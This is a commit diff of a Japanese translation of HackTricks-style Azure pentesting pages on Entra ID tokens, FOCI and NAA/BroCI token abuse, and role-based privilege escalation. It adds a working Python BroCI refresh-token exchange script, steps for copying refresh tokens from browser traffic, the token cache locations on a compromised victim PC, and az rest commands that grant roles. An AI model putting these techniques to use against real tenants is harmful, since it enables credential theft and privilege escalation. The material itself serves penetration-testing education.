Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur

This commit is contained in:
Translator
2026-03-01 20:15:45 +00:00
parent c7987f1345
commit 43260787ee
3 changed files with 692 additions and 180 deletions

View File

@@ -4,95 +4,95 @@
## 基本情報
Entra ID は Microsoft のクラウドベースの identity and access management (IAM) プラットフォームで、Microsoft 365 や Azure Resource Manager のようなサービスの認証と認可の基盤として機能します。Azure AD は OAuth 2.0 認可フレームワークと OpenID Connect (OIDC) 認証プロトコルを実装して、リソースへのアクセスを管理します。
Entra ID は Microsoft のクラウドベースの identity and access management (IAM) プラットフォームで、Microsoft 365 や Azure Resource Manager のようなサービス向けの基盤的な認証および認可システムとして機能します。Azure AD は OAuth 2.0 authorization framework と OpenID Connect (OIDC) authentication protocol を実装して、リソースへのアクセスを管理します。
### OAuth
OAuth 2.0 の主な参加者:
**OAuth 2.0 の主要な関係者:**
1. **Resource Server (RS):** リソースオーナーが所有するリソースを保護します。
2. **Resource Owner (RO):** 通常保護されたリソースを所有するエンドユーザーです。
3. **Client Application (CA):** リソースオーナーに代わってリソースへのアクセスを求めるアプリケーション。
4. **Authorization Server (AS):** クライアントアプリを認証・認可した後、アクセス トークンを発行します。
1. **Resource Server (RS):** Resource Owner が所有するリソースを保護します。
2. **Resource Owner (RO):** 通常保護されたリソースを所有するエンドユーザーです。
3. **Client Application (CA):** Resource Owner に代わってリソースへのアクセスを求めるアプリケーションです
4. **Authorization Server (AS):** クライアントアプリケーションを認証・認可した後、access tokens を発行します。
**スコープと同意:**
**Scopes と Consent:**
- **Scopes:** リソースサーバー上で定義される細か権限で、アクセスレベルを指定します。
- **Consent:** リソースオーナーが特定のスコープでクライアントアプリにリソースへアクセス権を付与するプロセス。
- **Scopes:** リソースサーバー上で定義される粒度の細か権限で、アクセスレベルを指定します。
- **Consent:** Resource Owner がクライアントアプリケーションに特定のスコープでリソースへアクセスする許可を与えるプロセスです
**Microsoft 365 の統合:**
- Microsoft 365 は IAM に Azure AD を利用しており、複数の「first-party」OAuth アプリケーションで構成されています。
- これらのアプリケーションは深く統合されており、サービス間で相互依存関係を持つことが多いです。
- ユーザー体験を簡素化し機能性を維持するため、Microsoft はこれらの first-party アプリに対して「implied consent」または「pre-consent」を付与します。
- **Implied Consent:** 特定のアプリケーションは**ユーザーや管理者の明示的な承認なしに特定のスコープへのアクセスが自動的に付与されます**
- これらの事前承認されたスコープは通常、ユーザーや管理者の方から隠されており、標準管理インターフェースでは見えにくくなっています。
- これらのアプリケーションは深く統合されており、相互に依存するサービス関係を持つことが多いです。
- ユーザー体験を簡素化し機能性を維持するため、Microsoft はこれらの first-party アプリケーションに対して「暗黙の同意(implied consent)」や「事前同意(pre-consent」を付与します。
- **Implied Consent:** 一部のアプリケーションは自動的に**特定のスコープへのアクセスが明示的なユーザーまたは管理者の承認なしに付与され**ます。
- これらの事前同意されたスコープは通常、ユーザーや管理者の方から隠されており、標準的な管理インターフェースでは見えにくくなっています。
**クライアントアプリケーションの種類:**
**Client Application の種類:**
1. **Confidential Clients:**
- 独自の資格情報(例: パスワードや証明書)を持ちます。
- Authorization Server に対して**安全に自身を認証できる**
- 自身のクレデンシャル(パスワードや証明書など)を持ちます。
- Authorization Server に対して**安全に自身を認証**できます
2. **Public Clients:**
- 固有の資格情報を持ちません。
- 固有のクレデンシャルを持ちません。
- Authorization Server に対して安全に認証することができません。
- **Security Implication:** Authorization Server アプリの正当性を検証する仕組みがないため、トークン取得時に攻撃者が public client アプリを偽装できる可能性があります。
- **セキュリティ上の影響:** Authorization Server アプリケーションの正当性を検証する仕組みがないため、攻撃者はトークンを要求する際に public client アプリケーションを偽装することができます。
## 認証トークン
OIDC で使用される**3種類のトークン**あります:
OIDC で使用されるトークンは**3種類**あります:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースアクセス**します。これは特定のユーザー、クライアント、リソースの組み合わせのみ使用可能で、期限切れまで**取り消すことはできませんデフォルトで1時間**
- **ID Tokens**: クライアントはこの**トークンを authorization server から受け取ります**。ユーザーに関する基本情報を含ます。特定のユーザーとクライアントの組み合わせに**紐づいています**
- **Refresh Tokens**: アクセストークンとともにクライアントに提供されます。新しいアクセスおよび ID トークンを取得するために使用されます。特定のユーザーとクライアントの組み合わせに紐づき、取り消すことができます。非アクティブな refresh token のデフォルト有効期限は **90 days**、アクティブなトークンには**有効期限がありません**(リフレッシュトークンから新しいリフレッシュトークンを取得することが可能なため)。
- リフレッシュトークンは **`aud`**、いくつかの **scopes**、および **tenant** に紐づくべきであり、その aud、scopesそれ以上ではないおよびテナントのためのアクセストークンのみを生成できるべきです。しかし、これは **FOCI applications tokens** は当てはまりません。
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースアクセス**します。特定のユーザー、クライアント、およびリソースの組み合わせのみ使用で、期限切れになるまで**取り消すことはできません** — デフォルトでは 1 時間です
- **ID Tokens**: クライアントは Authorization Server からこの**トークンを受け取ります**。ユーザーに関する基本情報を含んでいます。**特定のユーザーとクライアントの組み合わせに紐づいて**います。
- **Refresh Tokens**: access token と共にクライアントに提供されます。新しい access と ID トークンを取得するために使用されます。特定のユーザーとクライアントの組み合わせに紐づき、取り消し可能です。デフォルトの失効期間は非アクティブな refresh token **90 **、アクティブなトークンには **有効期限なし**refresh token からさらに新しい refresh token を取得することが可能)です
- リフレッシュトークンは `aud`、いくつかの **scopes**、および **テナント** に紐づくべきであり、その aud、scopesおよびそれ以上ではない)テナントに対してのみ access token を生成できるべきです。しかし、これは **FOCI applications tokens** は当てはまりません。
- リフレッシュトークンは暗号化されており、復号できるのは Microsoft のみです。
- 新しいリフレッシュトークンを取得しても、以前のリフレッシュトークン取り消されません。
- 新しいリフレッシュトークンを取得しても前のリフレッシュトークン取り消されることはありません。
> [!WARNING]
> **条件付きアクセス** に関する情報は **JWT** の内部に**格納**されます。したがって、**許可された IP アドレスからトークンを要求すると**、その **IP** トークンに**格納**され、後で**許可されていない IP からそのトークンを使ってリソースにアクセスできる**ようになります。
> conditional access に関する情報は **JWT 内に保存**されます。したがって、もし **許可された IP アドレスからトークンを要求**した場合、その **IP** トークンに**保存**され、後でそのトークンを使用して **許可されていない IP からでもリソースにアクセス**できる可能性があります。
### Access Tokens "aud"
"aud" フィールドに示される値は、ログインを実行するために使用される**resource server**(アプリケーション)です。
"aud" フィールドに示される値は、ログインを行うために使用される **リソースサーバー**(アプリケーション)です。
コマンド `az account get-access-token --resource-type [...]`のタイプをサポートしており、それぞれ結果のアクセス トークンに特定の "aud" を追加します:
コマンド `az account get-access-token --resource-type [...]`以下のタイプをサポートしており、それぞれ結果の access token に特定の "aud" を追加します:
> [!CAUTION]
> 次に示すのは `az account get-access-token` がサポートする API の例にぎず、他にもあります。
> 次に示すのは `az account get-access-token` がサポートする API の例にぎず、他にも存在します。
<details>
<summary>aud examples</summary>
- **aad-graph (Azure Active Directory Graph API)**: レガシー Azure AD Graph API非推奨アクセスするために使用され、アプリケーションが Azure Active Directory (Azure AD) のディレクトリデータを読み書きできるようにします。
- **aad-graph (Azure Active Directory Graph API)**: レガシー Azure AD Graph API非推奨アクセスするために使用され、アプリケーションが Azure Active Directory (Azure AD) のディレクトリデータを読み書きすることを可能にします。
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Azure Resource Manager API を通じて Azure リソースを管理するために使用されます。これには仮想マシン、ストレージアカウントなどのリソースの作成、更新、削除といった操作が含まれます。
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: 大規模並列処理や高性能コンピューティングアプリケーションをクラウドで効率的に実行するための Azure Batch にアクセスするために使用されます。
- **batch (Azure Batch Services)**: 大規模並列処理や高性能コンピューティングアプリケーションをクラウドで効率的に実行するための Azure Batch にアクセスするために使用されます。
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Azure Data Lake Storage Gen1 と対話するために使用される、スケーラブルなデータストレージおよび分析サービスです。
* **data-lake (Azure Data Lake Storage)**: スケーラブルなデータストレージおよび分析サービスである Azure Data Lake Storage Gen1 と対話するために使用されす。
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: ビデオやオーディオコンテンツのクラウドベースのメディア処理および配信サービスである Azure Media Services にアクセスするために使用されます。
- **media (Azure Media Services)**: 動画や音声コンテンツのクラウドベースのメディア処理と配信を提供する Azure Media Services にアクセスするために使用されます。
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Microsoft 365 サービスのデータに対する統一エンドポイントである Microsoft Graph API にアクセスするために使用されます。これにより、Azure AD、Office 365、Enterprise Mobility、Security services などのサービスからデータやインサイトにアクセスできます。
* **ms-graph (Microsoft Graph API)**: Microsoft 365 サービスのデータに対する統一エンドポイントである Microsoft Graph API にアクセスするために使用されます。Azure AD、Office 365、Enterprise Mobility、Security services などのサービスからデータやインサイトにアクセスできます。
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL、PostgreSQL、MariaDB のようなオープンソースのリレーショナルデータベースエンジン向けの Azure Database サービスアクセスするために使用されます。
- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL、PostgreSQL、MariaDB といったオープンソースのリレーショナルデータベースエンジン向けの Azure Database サービスアクセスするために使用されます。
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
アクセス トークンのスコープは、アクセス トークンの JWT の scp キーに格納されます。これらのスコープが、アクセス トークンが何にアクセスできるかを定義します。
access token のスコープは access token JWT の scp キーの中に格納されます。これらのスコープは access token が何にアクセスできるかを定義します。
JWT が特定の API にアクセスすること許可されていても、要求されたアクションを実行するための**スコープを持っていない**場合、その JWT ではそのアクションを**実行できません**。
もし JWT が特定の API に接触すること許可されていても、要求された操作を実行するためのスコープを**持っていない**場合、その JWT ではその操作を**実行できません**。
### Get refresh & access token example
```python
@@ -147,28 +147,29 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
### その他の access token フィールド
- **appid**: トークンを生成するために使用された Application ID
- **appidacr**: The Application Authentication Context Class Reference はクライアントがどのように認証されたかを示す。public client の場合は 0、client secret が使れた場合は 1
- **acr**: The Authentication Context Class Reference クレームは、エンドユーザーの認証が ISO/IEC 29115 の要件を満たしていない場合 "0" になる
- **amr**: The Authentication method はトークンがどのように認証されたかを示す。値が “pwd” の場合はパスワードが使用されたことを示す
- **groups**: プリンシパルがメンバーであるグループを示す
- **iss**: トークンを生成したセキュリティトークンサービス (STS) を識別する。例: https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ uuid は tenant ID
- **oid**: プリンシパルの object ID
- **appidacr**: Application Authentication Context Class Reference はクライアントがどのように認証されたかを示す。public client の場合は値が 0、client secret が使用された場合は値が 1 になる
- **acr**: Authentication Context Class Reference claim は、エンドユーザーの認証が ISO/IEC 29115 の要件を満たさなかったときに "0" になる
- **amr**: Authentication method はトークンがどのように認証されたかを示す。値が “pwd” の場合はパスワードが使れたことを示す
- **groups**: principal がメンバーであるグループを示す
- **iss**: トークンを生成した security token service (STS) を識別する。e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: principal の object ID
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at発行時刻、Not beforeこの時刻以前は使用できない、通常 iat と同じ値)、Expiration time(有効期限)。
- **iat, nbf, exp**: Issued at (when it was issued), Not before (cannot be used before this time, usually same value as iat), Expiration time.
## FOCI Tokens Privilege Escalation
以前に述べたように、refresh tokens は生成された **scopes**、生成先の **application**、および生成先の **tenant** に紐付けられるべきである。これらの境界のいずれかが破られると、ユーザーがアクセスできる他のリソースやテナント向けの access tokens を、元々意図されていたより多くの scopes で生成できるようになり、escalate privileges が可能になる。
前述のとおり、refresh tokens は生成時に指定された **scopes**、生成先の **application**、および **tenant** に紐付けられるべき。これらの境界のいずれかが破られると、ユーザーがアクセス権を持つ他のリソースや別の tenants に対して、本来意図された以上の scopes を持つ access tokens を生成できるようになり、権限を昇格させることが可能になる。
さらに、[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)Microsoft Entra アカウント、Microsoft personal アカウント、および Facebook や Google のような social accounts を含む)では、[**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) に記載されているとおり、**this is possible with all refresh tokens**: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
さらに、[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)Microsoft Entra accounts、Microsoft personal accounts、そして social accounts like Facebook and Google)では、[**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) にるとおり、**this is possible with all refresh tokens**: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
また、FOCI アプリケーションは public applications であるため、サーバーに対して認証するのに **no secret is needed** である点に注意すること
また、FOCI applications は public applications であるため、サーバーに認証するのに **no secret is needed** である点に注意する。
既知の FOCI クライアントは [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) に報告されており、[**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) で確認できる。
既知の FOCI clients は [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) に報告されており、[**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) で確認できる。
### 異なる scope を取得
### Get different scope
前のサンプルコードの続きで、このコードでは異なる scope のための新しいトークン要求されている:
前のサンプルコードに続いて、このコードでは別の scope のための新しいトークン要求ている:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -201,30 +202,361 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## tokens を見つける場所
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
攻撃者の観点では、被害者のPCが侵害された場合にどこで access and refresh tokens見つけられるかを知ることは非常に重要です:
A BroCI refresh token は、既存の refresh token を追加の broker パラメータとともに使い、別の信頼された first-party app としてトークンを要求する brokered token exchange のパターンです
- **`<HOME>/.Azure`** の中
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
### Goal and purpose
BroCI の目的は、broker 対応の app チェーンから有効なユーザーセッションを再利用して、別の信頼された app/resource ペア用のトークンを要求することです。これにより、元のトークンからの「特権昇格」を可能にします。
From an offensive perspective, this matters because:
- It can unlock pre-consented first-party app paths that are not accessible with standard refresh exchanges.
- It can return access tokens for high-value APIs (for example, Microsoft Graph) under app identities with broad delegated permissions.
- It expands post-authentication token pivoting opportunities beyond classic FOCI client switching.
What changes in a NAA/BroCI refresh token is not the visible token format, but the **issuance context** and broker-related metadata that Microsoft validates during brokered refresh operations.
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
- You need a refresh token already issued by a compatible brokered flow.
Check the web **<https://entrascopes.com/>** to find BroCI configured apps an the trust relationships they have.
### Mental model
Think of BroCI as:
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
If any part of that broker chain does not match, the exchange fails.
### Where to find a BroCI-valid refresh token
One practical way is browser portal traffic collection:
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
2. Open DevTools -> Network.
3. Filter for:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identify the brokered token response and copy `refresh_token`.
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
### Common errors
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
<details>
<summary>Python 用 BroCI refresh ヘルパー (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## tokens の見つけ方
攻撃者の観点から、被害者のPCが侵害された場合などに access and refresh tokens をどこで見つけられるかを知ることは非常に有用です:
- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** は過去にログインしたユーザーの情報を含む
- **`clouds.config contains`** はサブスクリプションに関する情報
- **`service_principal_entries.json`** はアプリケーションの認証情報(tenant idclientssecretを含む。Linux & macOS のみ
- **`msal_token_cache.json`** は access tokens refresh tokens を含む。Linux & macOS のみ
- **`service_principal_entries.bin`** と msal_token_cache.bin は Windows で使用され、DPAPI で暗号化されている
- **`clouds.config`** はサブスクリプションに関する情報を含む
- **`service_principal_entries.json`** はアプリケーションの資格情報 (tenant id, clients and secret) を含む。Linux & macOS のみ
- **`msal_token_cache.json`** は access tokens および refresh tokens を含む。Linux & macOS のみ
- **`service_principal_entries.bin`** と **`msal_token_cache.bin`** は Windows で使用され、DPAPI で暗号化されている
- **`msal_http_cache.bin`** は HTTP リクエストのキャッシュ
- 読み込む: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** は Az PowerShell を使った過去のログイン情報を含む(ただし資格情報は含まない)
- **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** の中には複数の `.bin` ファイルがあり、access tokens、ID tokens、およびアカウント情報ユーザーの DPAPI で暗号化されている
- さらに **access tokens****`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** 内の `.tbres` ファイルに、DPAPI で暗号化された base64 として含まれていることがある
- Linux と macOS では、Az PowerShell(使用されていれば)で `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` を実行すると access tokens, refresh tokens and id tokens を取得できる
- **`AzureRmContext.json`** は Az PowerShell を使った過去のログインに関する情報を含む(ただし資格情報は含まない)
- `C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`には複数の `.bin` ファイルがあり、これらは access tokens、ID tokens、アカウント情報ユーザーの DPAPI で暗号化したもの
- `C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\` 内の `.tbres` ファイルに、DPAPI で暗号化された base64 でエンコードされた access tokens がさらに見つかる可能性がある
- Linux と macOS では、Az PowerShell を使用している場合 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` を実行して access tokensrefresh tokensid tokens を取得できる
- Windows ではこれは id tokens のみを生成する
- Linux と macOS で Az PowerShell が使用されたかどうか`$HOME/.local/share/.IdentityService/` の存在を確認することでわかる(ただし含まれるファイルは空で役に立たない)
- ユーザーがブラウザで Azure にログインしている場合、こちらの [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) によれば、authentication flow を **redirect to localhost** で開始し、ブラウザに自動ログインを承認させて refresh token を受け取ることが可能である。localhost への redirect を許可する FOCI applications は限られている(例: az cli や powershell moduleため、これらのアプリケーションが許可されている必要があ
- ブログで説明されている別の方法として、任意のアプリケーションを使えるツール [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) を使用する手法がある。これはリダイレクト URI `https://login.microsoftonline.com/common/oauth2/nativeclient`用い、最終認証ページのタイトルから OAuth code を取得してから refresh token を取得する
- Linux と macOS で Az PowerShell が使れたかを確認するに`$HOME/.local/share/.IdentityService/` の存在を確認する(ただし中のファイルは空で役に立たないことが多い
- ユーザーがブラウザで Azure にログインしている場合、こちらの [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) によれば、認証フローをローカルホストへの redirect で開始し、ブラウザに自動的にログインを許可させて refresh token を受け取ることが可能で。localhost への redirect を許可する FOCI アプリケーションはごくわずか(az cli や PowerShell モジュールなど)なので、これらのアプリケーションが許可されている必要があります。
- ブログで説明されているもう一つの方法はツール [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) を使うことです。任意のアプリケーションを使える理由は、redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`使って最終的な認証ページのタイトルから OAuth code を取得し、それを使って refresh token を得るからです。
## 参考資料
## 参考
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> **Entra ID**に組み込まれている**すべての詳細な権限**カスタムロールで使用できるわけではないことに注意してください。
> 注意: **Entra ID の組み込みロールが持つすべての詳細な権限** が **カスタムロールで使用可能であるとは限らない** ことに注意してください。
## Roles
## ロール
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### ロール: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
このロールは、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。
このロールは、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細な権限を含んでいます。これらの両方の操作は権限昇格に悪用される可能性があります。
- ユーザーにロールを割り当てる:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- ロールに権限を追加する:
- ロールに追加の権限を付与する:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
